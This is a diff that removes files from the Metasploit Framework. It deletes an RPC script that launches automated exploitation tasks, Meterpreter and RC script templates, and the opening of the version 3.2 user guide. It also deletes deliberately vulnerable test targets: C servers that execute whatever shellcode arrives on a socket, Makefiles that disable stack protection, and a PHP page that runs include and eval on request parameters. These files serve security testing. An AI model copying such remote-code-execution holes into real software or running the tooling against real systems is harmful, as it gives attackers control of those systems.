if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,148 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('NeXpose Specific Options:')
|
||||
|
||||
parser.on("--project PROJECT") do |x|
|
||||
opts[:project] = x
|
||||
end
|
||||
|
||||
parser.on("--targets TARGETS") do |x|
|
||||
opts[:targets] = [x]
|
||||
end
|
||||
|
||||
parser.on("--nexpose-host HOST") do |x|
|
||||
opts[:nexpose_host] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-user USER") do |x|
|
||||
opts[:nexpose_user] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-pass PASSWORD") do |x|
|
||||
opts[:nexpose_pass] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-pass-file PATH") do |x|
|
||||
opts[:nexpose_pass_file] = x
|
||||
end
|
||||
|
||||
parser.on("--scan-template TEMPLATE (optional)") do |x|
|
||||
opts[:scan_template] = x
|
||||
end
|
||||
|
||||
parser.on("--nexpose-port PORT (optional)") do |x|
|
||||
opts[:nexpose_port] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
||||
opts[:blacklist] = x
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
parser.separator('')
|
||||
parser.parse!(ARGV)
|
||||
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Get the password from the file
|
||||
if opts[:nexpose_pass_file]
|
||||
nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp!
|
||||
else
|
||||
nexpose_pass = opts[:nexpose_pass] || usage(parser)
|
||||
end
|
||||
|
||||
# Store the user's settings
|
||||
project = opts[:project] || usage(parser),
|
||||
targets = opts[:targets] || usage(parser),
|
||||
blacklist = opts[:blacklist],
|
||||
nexpose_host = opts[:nexpose_host] || usage(parser),
|
||||
nexpose_port = opts[:nexpose_port] || "3780",
|
||||
nexpose_user = opts[:nexpose_user] || "nxadmin"
|
||||
scan_template = opts[:scan_template] || "pentest-audit"
|
||||
|
||||
# Get the default user
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
options = {
|
||||
'workspace' => project,
|
||||
'username' => user,
|
||||
'DS_WHITELIST_HOSTS' => targets,
|
||||
'DS_NEXPOSE_HOST' => nexpose_host,
|
||||
'DS_NEXPOSE_PORT' => nexpose_port,
|
||||
'DS_NEXPOSE_USER' => nexpose_user,
|
||||
'nexpose_pass' => nexpose_pass,
|
||||
'DS_SCAN_TEMPLATE' => scan_template
|
||||
}
|
||||
|
||||
puts "DEBUG: Running task with #{options}"
|
||||
|
||||
# Create the task object with all options
|
||||
task = @rpc.call("pro.start_exploit", options)
|
||||
|
||||
|
||||
if not task['task_id']
|
||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
||||
while true
|
||||
select(nil, nil, nil, 0.50)
|
||||
|
||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
||||
|
||||
if stat['status'] == 'invalid'
|
||||
$stderr.puts "[-] Error checking task status"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
info = stat[ task['task_id'] ]
|
||||
|
||||
if not info
|
||||
$stderr.puts "[-] Error finding the task"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
if info['status'] == "error"
|
||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
break if info['progress'] == 100
|
||||
end
|
||||
|
||||
$stdout.puts "[+] Task Complete!"
|
|
@ -1,43 +0,0 @@
|
|||
# $Id$
|
||||
# $Revision$
|
||||
# Author:
|
||||
#-------------------------------------------------------------------------------
|
||||
################## Variable Declarations ##################
|
||||
|
||||
@client = client
|
||||
sample_option_var = nil
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-o" => [ true , "Option that requieres a value"]
|
||||
)
|
||||
meter_type = client.platform
|
||||
|
||||
################## Function Declarations ##################
|
||||
|
||||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for INSERT PURPOSE."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
################## Main ##################
|
||||
@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-o"
|
||||
sample_option_var = val
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions
|
|
@ -1,132 +0,0 @@
|
|||
<ruby>
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
#
|
||||
# Put your 'require' here
|
||||
#
|
||||
|
||||
#
|
||||
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
|
||||
# will have to do the trick for now.
|
||||
#
|
||||
def help
|
||||
msg = %Q|
|
||||
Description:
|
||||
Let's describe what this RC script is all about, plus anything the user should know before
|
||||
actually using it.
|
||||
|
||||
Usage:
|
||||
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
|
||||
|
||||
Options:
|
||||
<rc file> - I'm sure you already know
|
||||
<db_user> - Username for the database (datastore: 'DB_USER')
|
||||
<db_pass> - Password for the database (datastore: 'DB_PASS')
|
||||
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
|
||||
<arg1> - Argument 1 (datastore: 'ARG1')
|
||||
|
||||
Authors:
|
||||
sinn3r <sinn3r[at]metasploit.com>
|
||||
|
|
||||
|
||||
msg = msg.gsub(/^\t/, '')
|
||||
print_line(msg)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# See if we're already connected
|
||||
#
|
||||
def is_db_active?
|
||||
begin
|
||||
framework.db.hosts
|
||||
return true
|
||||
rescue ::ActiveRecord::ConnectionNotEstablished
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the database.
|
||||
# Default to localhost:5432, as this is the default configuration suggested by the manual.
|
||||
#
|
||||
def init_db(username, password, workspace)
|
||||
db = "localhost:5432"
|
||||
print_status("Opening #{workspace} at #{db}")
|
||||
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Initialize the argumets here
|
||||
#
|
||||
def init_args
|
||||
args = {}
|
||||
|
||||
joint = ARGV.join('')
|
||||
if joint =~ /^help$/i
|
||||
args[:help] = true
|
||||
return args
|
||||
end
|
||||
|
||||
# Add more arguments according to your help() function
|
||||
datastore = framework.datastore
|
||||
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
|
||||
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
|
||||
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
|
||||
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
|
||||
|
||||
if not is_db_active?
|
||||
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
|
||||
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
|
||||
end
|
||||
end
|
||||
|
||||
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
|
||||
|
||||
return args
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is your main function
|
||||
#
|
||||
def main(args)
|
||||
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Below initializes the arguments and database
|
||||
#
|
||||
begin
|
||||
args = init_args
|
||||
if args[:help]
|
||||
help
|
||||
return
|
||||
end
|
||||
|
||||
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
|
||||
main(args)
|
||||
|
||||
rescue ArgumentError => e
|
||||
print_error("Bad argument(s): #{e.message}")
|
||||
return
|
||||
|
||||
rescue RuntimeError => e
|
||||
# Any runtime error should be raised as "RuntimeError"
|
||||
print_error(e.message)
|
||||
return
|
||||
|
||||
rescue ::Exception => e
|
||||
# Whatever unknown exception occurs, we raise it
|
||||
raise e
|
||||
end
|
||||
|
||||
</ruby>
|
|
@ -1,5 +0,0 @@
|
|||
all: exploitmel
|
||||
exploitmel: exploitme-posix.c
|
||||
gcc -W -Wall $< -o $@
|
||||
clean:
|
||||
rm exploitmel
|
|
@ -1,105 +0,0 @@
|
|||
/* exploitme coded in a hurry by Yoann Guillot and Julien Tinnes, used 'man select_tut' as skeleton */
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <errno.h>
|
||||
#include <sys/mman.h>
|
||||
#include <malloc.h>
|
||||
|
||||
#define LISTEN_PORT 4545
|
||||
|
||||
int vuln(void) {
|
||||
struct sockaddr_in a;
|
||||
int s, mysock;
|
||||
int yes, ret, pagesize;
|
||||
void *buf;
|
||||
|
||||
pagesize = sysconf(_SC_PAGE_SIZE);
|
||||
if (pagesize == -1) {
|
||||
perror("pagesize");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pagesize < 4096)
|
||||
pagesize=(4096/pagesize+1)*pagesize;
|
||||
printf("Detected pagesize: %d\n", pagesize);
|
||||
buf=memalign(pagesize, pagesize);
|
||||
if (buf == NULL) {
|
||||
perror("memalign");
|
||||
return -1;
|
||||
}
|
||||
if ((s = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
perror ("socket");
|
||||
return -1;
|
||||
}
|
||||
yes = 1;
|
||||
if (setsockopt
|
||||
(s, SOL_SOCKET, SO_REUSEADDR,
|
||||
(char *) &yes, sizeof (yes)) < 0) {
|
||||
perror ("setsockopt");
|
||||
close (s);
|
||||
return -1;
|
||||
}
|
||||
memset (&a, 0, sizeof (a));
|
||||
a.sin_port = htons (LISTEN_PORT);
|
||||
a.sin_family = AF_INET;
|
||||
if (bind
|
||||
(s, (struct sockaddr *) &a, sizeof (a)) < 0) {
|
||||
perror ("bind");
|
||||
close (s);
|
||||
return -1;
|
||||
}
|
||||
printf ("Send your shellcode to port %d\n",
|
||||
(int) LISTEN_PORT);
|
||||
listen (s, 10);
|
||||
for (;;) {
|
||||
mysock=accept(s, NULL, NULL);
|
||||
if (mysock == -1) {
|
||||
perror("accept");
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
if (!fork()) {
|
||||
printf("Got new connexion\n");
|
||||
close(s);
|
||||
switch (yes=read(mysock, buf, pagesize)) {
|
||||
case -1:
|
||||
perror("read");
|
||||
case 0:
|
||||
close(mysock);
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
printf("Read %d bytes\n", yes);
|
||||
/* This has the useful side effect of flushing the cache on architectures such as MIPS! */
|
||||
ret=mprotect(buf, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC);
|
||||
if (ret) {
|
||||
perror("mprotect");
|
||||
return -1;
|
||||
}
|
||||
((void (*)())buf)();
|
||||
return 42;
|
||||
} else
|
||||
close(mysock);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
#ifdef SWITCH_STACK
|
||||
unsigned char *m;
|
||||
m = mmap(NULL, 1024 * 1024 * 2, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);
|
||||
m += (1024 * 1024 * 2) - 4;
|
||||
__asm__("movl %0, %%esp; call vuln" : : "m" (m));
|
||||
#else
|
||||
vuln();
|
||||
#endif
|
||||
}
|
|
@ -1,18 +0,0 @@
|
|||
<?php
|
||||
if (isset($_REQUEST['path'])) {
|
||||
include($_REQUEST['path']);
|
||||
}
|
||||
if (isset($_REQUEST['includeme'])) {
|
||||
include($_REQUEST['includeme']);
|
||||
}
|
||||
if (isset($_REQUEST['evalme'])) {
|
||||
eval($_REQUEST['evalme']);
|
||||
}
|
||||
|
||||
?>
|
||||
<html>
|
||||
<head><title>Your mom</title></head>
|
||||
<body>
|
||||
<H1>Your mom</H1>
|
||||
</body>
|
||||
</html>
|
|
@ -1,17 +0,0 @@
|
|||
|
||||
SOURCES=testsrv.c
|
||||
OPTIONS=-fno-stack-protector -Wa,--execstack -Wl,-z,execstack
|
||||
|
||||
default:x86_32 x86_64
|
||||
all: x86_32 x86_64
|
||||
|
||||
x86_32:
|
||||
gcc -m32 ${OPTIONS} -o testsrv32 ${SOURCES}
|
||||
x86_64:
|
||||
gcc -m64 ${OPTIONS} -o testsrv64 ${SOURCES}
|
||||
|
||||
clean:
|
||||
rm testsrv32
|
||||
rm testsrv64
|
||||
|
||||
|
|
@ -1,2 +0,0 @@
|
|||
This is meant to be used in conjunction with the test/aggressive exploit. It
|
||||
simply executes whatever code is passed to it over the socket.
|
|
@ -1,129 +0,0 @@
|
|||
|
||||
/*
|
||||
* srv.c -- Example server for easy exploiting
|
||||
*
|
||||
* Usage: srv <port>
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* C:\> srv 1234
|
||||
* C:\> nload localhost 1234 -s code.s
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
|
||||
#if defined _WIN32
|
||||
#include <winsock2.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#else
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#define SERVER_PORT 5432
|
||||
#define MAX_PENDING 1
|
||||
|
||||
|
||||
int ehlo, from;
|
||||
|
||||
/* Main function */
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
struct sockaddr_in sin;
|
||||
char buf[8092], *ptr;
|
||||
int c, i, len, port;
|
||||
int s, new_s, bytes;
|
||||
#if defined _WIN32
|
||||
int wsaret;
|
||||
WSADATA wsaData;
|
||||
#endif
|
||||
int (*funct)();
|
||||
|
||||
|
||||
/* Command line parameters */
|
||||
if (argv[1])
|
||||
port = atoi(argv[1]);
|
||||
else
|
||||
port = SERVER_PORT;
|
||||
|
||||
#if defined _WIN32
|
||||
/* Initialize winsock */
|
||||
wsaret = WSAStartup(0x101, &wsaData);
|
||||
if(wsaret != 0)
|
||||
return (0);
|
||||
|
||||
/* Create a socket */
|
||||
if ((s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0)) < 0) {
|
||||
fprintf(stderr, "%s: WSASocket - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
#else
|
||||
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
fprintf(stderr, "%s: socket - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/* Initialize the addres data structure */
|
||||
memset((void *)&sin, 0, sizeof(sin));
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_addr.s_addr = INADDR_ANY;
|
||||
sin.sin_port = htons(port);
|
||||
|
||||
/* Bind an address to the socket */
|
||||
if (bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
|
||||
fprintf(stderr, "%s: bind - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* Set the length of the listen queue */
|
||||
if (listen(s, MAX_PENDING) < 0) {
|
||||
fprintf(stderr, "%s: listen - %s\n", argv[0], strerror(errno));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
while (1)
|
||||
{
|
||||
#if defined _WIN32
|
||||
__try
|
||||
{
|
||||
#endif
|
||||
len = sizeof(sin);
|
||||
new_s = accept(s, (struct sockaddr *)&sin, &len);
|
||||
|
||||
memset(buf, 0, sizeof(buf));
|
||||
bytes = recv(new_s, buf, sizeof(buf), 0);
|
||||
|
||||
printf("recv'd %d\n", bytes);
|
||||
|
||||
#if defined _WIN32
|
||||
__asm mov edi, new_s
|
||||
#else
|
||||
// TODO: add inlined assembly for "non windows" compiler
|
||||
#endif
|
||||
|
||||
funct = (int (*)()) buf;
|
||||
(int)(*funct)();
|
||||
#if defined _WIN32
|
||||
} __except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
fprintf(stderr, "Got exception: %lu\n", GetExceptionCode());
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
return (0);
|
||||
|
||||
}
|
||||
|
||||
|
Binary file not shown.
|
@ -1,910 +0,0 @@
|
|||
%%
|
||||
% This file is part of the Metasploit Framework.
|
||||
%%
|
||||
|
||||
%
|
||||
% Title: Metasploit Framework User Guide
|
||||
% Version: $Revision: 4068 $
|
||||
%
|
||||
|
||||
\documentclass{report}
|
||||
\usepackage{graphicx}
|
||||
\usepackage{color}
|
||||
\usepackage{amsmath}
|
||||
\usepackage[colorlinks,urlcolor=blue,linkcolor=black,citecolor=blue]{hyperref}
|
||||
|
||||
\begin{document}
|
||||
|
||||
\title{Metasploit Framework User Guide}
|
||||
\author{metasploit.com}
|
||||
|
||||
\begin{titlepage}
|
||||
\begin{center}
|
||||
|
||||
\huge{Metasploit Framework User Guide}
|
||||
\ \\[10mm]
|
||||
\large{Version 3.2}
|
||||
\\[10mm]
|
||||
|
||||
\includegraphics{hacker04.jpg}
|
||||
|
||||
\ \\[10mm]
|
||||
|
||||
\small{\url{http://www.metasploit.com/}}
|
||||
|
||||
\rule{10cm}{1pt} \\[4mm]
|
||||
\renewcommand{\arraystretch}{0.5}
|
||||
\end{center}
|
||||
\end{titlepage}
|
||||
|
||||
\tableofcontents
|
||||
|
||||
\setlength{\parindent}{0pt} \setlength{\parskip}{8pt}
|
||||
|
||||
|
||||
\chapter{Introduction}
|
||||
|
||||
\par
|
||||
This is the official user guide for version 3.2 of the Metasploit Framework. This
|
||||
guide is designed to provide an overview of what the framework is, how it works,
|
||||
and what you can do with it. The latest version of this document can be found
|
||||
on the Metasploit Framework web site.
|
||||
|
||||
\par
|
||||
The Metasploit Framework is a platform for writing, testing, and using exploit code.
|
||||
The primary users of the Framework are professionals performing penetration testing,
|
||||
shellcode development, and vulnerability research.
|
||||
|
||||
\par
|
||||
\pagebreak
|
||||
|
||||
\chapter{Installation}
|
||||
|
||||
\section{Installation on Unix}
|
||||
\label{INSTALL-UNIX}
|
||||
\par
|
||||
Installing the Framework is as easy as extracting the tarball, changing into the
|
||||
created directory, and executing your preferred user interface. We strongly
|
||||
recommend that you use a version of the Ruby interpreter that was built with
|
||||
support for the GNU Readline library. If you are using the Framework on Mac OS
|
||||
X prior to 10.5.1, you will need to install GNU Readline and then recompile the Ruby
|
||||
interpreter. Using a version of Ruby with Readline support enables tab completion
|
||||
of the console interface. The \texttt{msfconsole} user interface is preferred for everyday
|
||||
use, but the \texttt{msfweb} interface can be useful for live demonstrations.
|
||||
|
||||
\par
|
||||
To perform a system-wide installation, we recommend that you copy the entire
|
||||
Framework directory into a globally accessible location (/usr/local/msf) and
|
||||
then create symbolic links from the msf* applications to a directory in the
|
||||
system path (/usr/local/bin). User-specific modules can be placed into
|
||||
\texttt{HOME/.msf3/modules} directory. The structure of this directory should
|
||||
mirror that of the global modules directory found in the framework
|
||||
distribution.
|
||||
|
||||
\par
|
||||
The latest stable release of the Ruby interpreter (1.8.7-p72) contains a bug which
|
||||
breaks many of the Metasploit Framework modules. The only way to work around this
|
||||
bug is by downgrading to an older version of 1.8.6 or by upgrading to the latest
|
||||
stable snapshot of 1.8.7. The latest stable snapshot can be downloaded from
|
||||
\url{ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz}. For more information
|
||||
about this issue, please see the Ubuntu ticket: \url{https://bugs.launchpad.net/bugs/282302}.
|
||||
|
||||
|
||||
|
||||
\section{Installation on Windows}
|
||||
\label{INSTALL-WIN32}
|
||||
|
||||
\par
|
||||
The Metasploit Framework is fully supported on the Windows platform. To install the Framework on Windows,
|
||||
download the latest version of the Windows installer from \url{http://metasploit.com/framework/download/}, perform
|
||||
an online update, and launch the \texttt{msfgui} interface from the Start Menu. To access a standard
|
||||
\texttt{msfconsole} interface, select the Console option from the Window menu. As an alternative, you can
|
||||
use the \texttt{msfweb} interface, which supports Mozilla Firefox and Internet Explorer.
|
||||
|
||||
|
||||
\section{Platform Caveats}
|
||||
\label{INSTALL-CAVEAT}
|
||||
|
||||
\par
|
||||
When using the Framework on the Windows platform, keep in mind that \texttt{msfgui} and \texttt{msfweb} are the only
|
||||
supported user interfaces. While \texttt{msfcli} may appear to work on the command line, it will will run into
|
||||
trouble as soon as more than one active thread is present. This can prevent most exploits, auxiliary modules,
|
||||
and plugins from functioning. This problem does not occur within Cygwin environment. The Windows platform does
|
||||
not support raw IP packet injection, packet injection, wireless driver exploitation, or SMB relaying attacks
|
||||
without specific configuration. In most cases, those features can be accessed by running Metasploit inside of a
|
||||
Linux-based virtual machine (such as BackTrack 3 in VMWare).
|
||||
|
||||
\section{Supported Operating Systems}
|
||||
\label{INSTALL-SUPPORT}
|
||||
|
||||
\par
|
||||
The Framework should run on almost any Unix-based operating system that includes a complete and modern version
|
||||
of the Ruby interpreter (1.8.4+). Every stable version of the Framework is tested with three primary platforms:
|
||||
|
||||
\begin{itemize}
|
||||
\item Linux 2.6 (x86, ppc)
|
||||
\item Windows NT (2000, XP, 2003, Vista)
|
||||
\item MacOS X 10.5 (x86, ppc)
|
||||
\end{itemize}
|
||||
|
||||
\par
|
||||
For information about manually installing the framework, including all of the required dependencies needed
|
||||
to use the new \texttt{msfgui} interface, please see the framework web site: \url{http://metasploit.com/framework/support}
|
||||
|
||||
\section{Updating the Framework}
|
||||
\label{INSTALL-UPDATE}
|
||||
|
||||
\par
|
||||
The Framework can be updated using a standard \texttt{Subversion} client. The
|
||||
old \texttt{msfupdate} tool is no longer supported. Windows users can click on
|
||||
the Online Update link within the Metasploit 3 program folder on the Start Menu.
|
||||
To obtain the latest updates on a Unix-like platform, change into the Framework
|
||||
installation directory and execute \texttt{svn update}. If you are accessing the
|
||||
internet through a HTTP proxy server, please see the Subversion FAQ on proxy
|
||||
access: \url{http://subversion.tigris.org/faq.html#proxy}
|
||||
|
||||
\pagebreak
|
||||
|
||||
\chapter{Getting Started}
|
||||
|
||||
\section{The Console Interface}
|
||||
\label{STARTED-CONSOLE}
|
||||
|
||||
\par
|
||||
After you have installed the Framework, you should verify that everything is
|
||||
working properly The easiest way to do this is to execute the
|
||||
\texttt{msfconsole} user interface. If you are using Windows, start the \texttt{msfgui}
|
||||
interface and access the \texttt{Console} link from the Window menu.
|
||||
The console should display an ASCII art logo, print the current version, some module
|
||||
counts, and drop to a "msf> " prompt. From this prompt, type \texttt{help} to get a list of
|
||||
valid commands. You are currently in the "main" mode; this allows you to list
|
||||
exploits, list payloads, and configure global options. To list all available
|
||||
exploits, type \texttt{show exploits}. To obtain more information about a given
|
||||
exploit, type \texttt{info module\_name}.
|
||||
|
||||
\par
|
||||
The console interface was designed to be flexible and fast. If you
|
||||
enter a command that is not recognized by the console, it will scan the system
|
||||
path to determine if it is a system command. \footnote{If you are accessing the console
|
||||
through \texttt{msfweb}, this feature has been disabled for security reasons.}
|
||||
If it finds a match, that command will be executed with the supplied arguments. This allows you to use
|
||||
your standard set of tools without having to leave the console. The console interface
|
||||
supports tab completion of known commands. The \texttt{msfweb} interface
|
||||
includes tab completion by default, but the \texttt{msfconsole} interface requires that
|
||||
Ruby was built with the Readline library. For more information on tab completion, please
|
||||
refer to appendix \ref{REF-TAB}.
|
||||
|
||||
\par
|
||||
The console startup will similar to the text below.
|
||||
|
||||
\begin{verbatim}
|
||||
|
||||
|
||||
|
||||
o 8 o o
|
||||
8 8 8
|
||||
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
|
||||
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
|
||||
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
|
||||
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
|
||||
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
|
||||
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
|
||||
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
=[ msf v3.1-release
|
||||
+ -- --=[ 263 exploits - 116 payloads
|
||||
+ -- --=[ 17 encoders - 6 nops
|
||||
=[ 45 aux
|
||||
|
||||
msf >
|
||||
\end{verbatim}
|
||||
|
||||
\section{The GUI Interface}
|
||||
\label{STARTED-GUI}
|
||||
|
||||
\par
|
||||
The \texttt{msfgui} interface was introduced in version 3.1 and provides the functionality
|
||||
of \texttt{msfconsole} in addition to many new features. To access a \texttt{msfconsole}
|
||||
shell, select the Console option from the Window menu. To search for a module within the
|
||||
module tree, enter a string or regular expression into the search box and click the button
|
||||
labeled Find. All matching modules will appear the tree below. To execute a module,
|
||||
double-click its name in the tree, or right-click its name and select the Execute option.
|
||||
To view the source code of any module, right-click its name and select the View Code option.
|
||||
|
||||
\par
|
||||
Once a module is selected, a wizard-based interface will walk you through the process of
|
||||
configuring and launching the module. In the case of exploit modules, the output from
|
||||
the module will appear in the main window under the Module Output tab. Any sessions created
|
||||
by the module will appear in the Sessions view in the main window. To access a session,
|
||||
double-click the session name in the view, or open a Console and use the \texttt{sessions}
|
||||
command to interact with the shell. Metepreter sessions will spawn a shell when double-clicked,
|
||||
but also offer a process and file browser via the right-click context menu.
|
||||
|
||||
|
||||
\section{The Command Line Interface}
|
||||
\label{STARTED-CLI}
|
||||
|
||||
\par
|
||||
If you are looking for a way to automate exploit testing, or simply do not want
|
||||
to use an interactive interface, then \texttt{msfcli} may be the solution.
|
||||
\footnote{The msfcli interface will not work properly with the native Windows version of Ruby}
|
||||
This interface takes a module name as the first parameter, followed by the options
|
||||
in a VAR=VAL format, and finally an action code to specify what should be done.
|
||||
The module name is used to determine which exploit or auxiliary module you
|
||||
want to launch.
|
||||
|
||||
\par
|
||||
The action code is a single letter; S for summary, O for options, A for advanced
|
||||
options, I for IDS evasions, P for payloads, T for targets, AC for auxiliary
|
||||
actions, C to try a vulnerability check, and E to exploit. The saved
|
||||
datastore will be loaded and used at startup, allowing you to configure
|
||||
convenient default options in the Global or module-specific datastore of
|
||||
\texttt{msfconsole}, save them, and take advantage of them in the
|
||||
\texttt{msfcli} interface. As of version 3.1, the \texttt{msfcli} interface
|
||||
will also work with auxiliary modules.
|
||||
|
||||
\section{The Web Interface}
|
||||
\label{STARTED-WEB}
|
||||
|
||||
\par
|
||||
The \texttt{msfweb} interface is based on Ruby on Rails. To access this interface,
|
||||
execute \texttt{msfweb} to start up the server. The \texttt{msfweb}
|
||||
interface uses the WEBrick web server to handle requests. By default, \texttt{msfweb} will listen
|
||||
on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that
|
||||
the service has started. To access the interface, open your browser to the appropriate URL
|
||||
(\url{http://127.0.0.1:55555/} by default). The main \texttt{msfweb} interface consists of a toolbar
|
||||
containing various icons and a background with the metasploit logo. If you want access to a console,
|
||||
click the Console link. This console interface is nearly identical to the standard
|
||||
\texttt{msfconsole} interface. The Exploits, Auxiliary, and Payloads links will walk you through
|
||||
the process of selecting a module, configuring it, and running it. Once an exploit is run and
|
||||
a session is created, you can access these sessions from the Sessions link. These icons will open up
|
||||
a sub-window within the page. These windows can be moved, minimized, maximized, and closed.
|
||||
|
||||
\pagebreak
|
||||
\chapter{The DataStore}
|
||||
|
||||
\par
|
||||
The datastore system is a core component of the Framework. The interfaces use
|
||||
